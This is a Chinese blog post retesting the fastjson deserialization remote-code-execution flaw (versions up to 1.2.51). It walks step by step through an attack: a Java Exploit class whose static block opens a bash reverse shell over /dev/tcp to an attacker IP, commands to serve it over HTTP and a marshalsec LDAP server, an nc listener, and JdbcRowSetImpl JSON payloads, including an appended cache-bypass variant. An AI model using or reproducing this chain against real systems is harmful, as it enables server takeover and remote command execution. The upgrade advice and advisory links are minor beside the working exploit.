fastjson =< 1.2.51 反序列化漏洞实战复测
0x00:漏洞情况
前2周接到外部安全厂商阿里开源组件fastjson爆发高危漏洞预警,该漏洞可通过恶意构造Paylod发送JSON请求对系统进行远程代码执行,可导致直接获取服务器权限。前边很久之前对漏洞进行复测,确认通过该漏洞可直接获取服务器权限,漏洞风险高。
上边文章的介绍采用的是rmi的方式进行监听反弹,无奈没复测成功。今天将漏洞的ldap方式利用过程写成博客记录下形成笔记。
影响版本fastjson < 1.2.51.
安全版本fastjson >= 1.2.51
0x01:漏洞复现过程
演示环境信息:
攻击者机器:172.28.37.102
JDK版本:1.8.0_25
受害者:10.18.19.46:8080
fastjson-1.2.44.jar
1、准备文件放置到web目录下:Exploit.java
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit{    public Exploit() {}    static    {        try {            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")                    ? new String[]{"cmd.exe","/c", "calc.exe"}                    : new String[]{"bash", "-c", "/bin/bash -i >& /dev/tcp/172.28.37.102/7777 0>&1"};            Runtime.getRuntime().exec(cmds);        } catch (Exception e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        Exploit e = new Exploit();        System.out.println("hello world");    }} | 
2、攻击机器运行python快速形成http服务器:

| 1 | python -m SimpleHTTPServer 8888 | 
3、修改并编译上边的Exploit.java文件源代码将反弹shell的地址修改好,拷贝Exploit.class放在这个快速构建http服务器的web根目录
4、启动ldap服务,监听1389端口:

| 1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.28.37.102:8888/#Exploit | 
5、执行监听:

| 1 | nc -lvp 7777 | 
6、 通过JSON请求发送数据包攻击服务器,获取服务器权限。修改抓到json的请求包,为以下内容。

| 1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.28.37.102:1389/Exploit","autoCommit":true} | 
成功攻击服务器获取服务器权限。

提取码: z67v
复制这段内容后打开百度网盘手机App,操作更方便哦
0x03: 外部漏洞预警
国家信息安全漏洞库:http://www.cnnvd.org.cn/web/bulletin/bulletinById.tag?mkid=150
阿里云:https://help.aliyun.com/noticelist/articleid/1060026793.html
官方漏洞公告提示升级fastjson组件:https://github.com/alibaba/fastjson/wiki/update_faq_20190722
原文连接:http://www.mianhuage.com/945.html
"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:8088/TouchFile","autoCommit":true}}